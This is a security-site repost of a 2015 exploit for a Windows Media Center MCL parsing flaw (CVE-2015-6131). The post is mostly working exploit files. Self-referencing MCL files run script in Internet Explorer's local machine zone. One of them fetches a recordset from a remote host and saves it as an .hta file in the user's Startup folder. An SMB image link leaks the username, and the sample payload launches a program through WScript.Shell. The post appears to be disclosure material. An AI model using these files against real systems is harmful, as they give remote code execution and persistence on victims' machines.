首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows Media Center Library Parsing RCE Vulnerability aka "self-execu
来源:vfocus.net 作者:Prado 发布时间:2015-12-10  
Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131)
 
Software Vendor: Microsoft
 
Software version : MS Windows Media Center latest version on any Windows OS.
 
Software Vendor Homepage: http://www.microsoft.com
 
CVE: CVE-2015-6131
 
Exploit Author: Eduardo Braun Prado
 
Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team
 
date: december 8, 2015
 
Vulnerability description:
 
Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files.
 
 
exploit code below:
 
----------- self-exec-1.mcl ------------------------------------
 
<application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html>
 
------------------------------------------------------------
 
----------self-exec-2.mcl--------------------------------------
 
<application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close();
</script></html>
----------------------------------------------------------
 
-----Create-recordsetfile.hta --------------
 
<html><body onload="aa()">
 
<script language="VBScript">
 
function aa()
 
 
defdir="."
 
alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"".
 
 
 
 
Set c = CreateObject("ADODB.Connection")
co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;"
c.Open co
set rs =CreateObject("ADODB.Recordset")
rs.Open "SELECT * from recordsetdata.txt", c
al=rs.Save(defdir & "\recordsetfile.txt")
rs.close
 
end function
</script></body></html>
 
-------------------------------------------------------------------------------
 
 
---------recordsetdata.txt------------------------------------------
 
<html>
<script>a=new ActiveXObject('Wscript.Shell')</script>
<script>a.Run('calc.exe',1);</script>
</html>
-------------------------------------------------------------------
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpFileManager 0.9.8 Remote Co
·Microsoft Windows Media Center
·Mac OS X 10.11 FTS Buffer Over
·IE 11.0.9600.18097 COmWindowPr
·OpenMRS 2.3 (1.11.4) XXE Injec
·Geeklog 2.1.0 Command Injectio
·Atlassian HipChat for Jira Plu
·Pe 2.4.3 Buffer Overflow
·Oracle BeeHive 2 Code Executio
·Xdh / LinuxNet Perlbot / fBot
·Oracle BeeHive 2 Arbitrary Fil
·Legend Perl IRC Bot Remote Cod
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved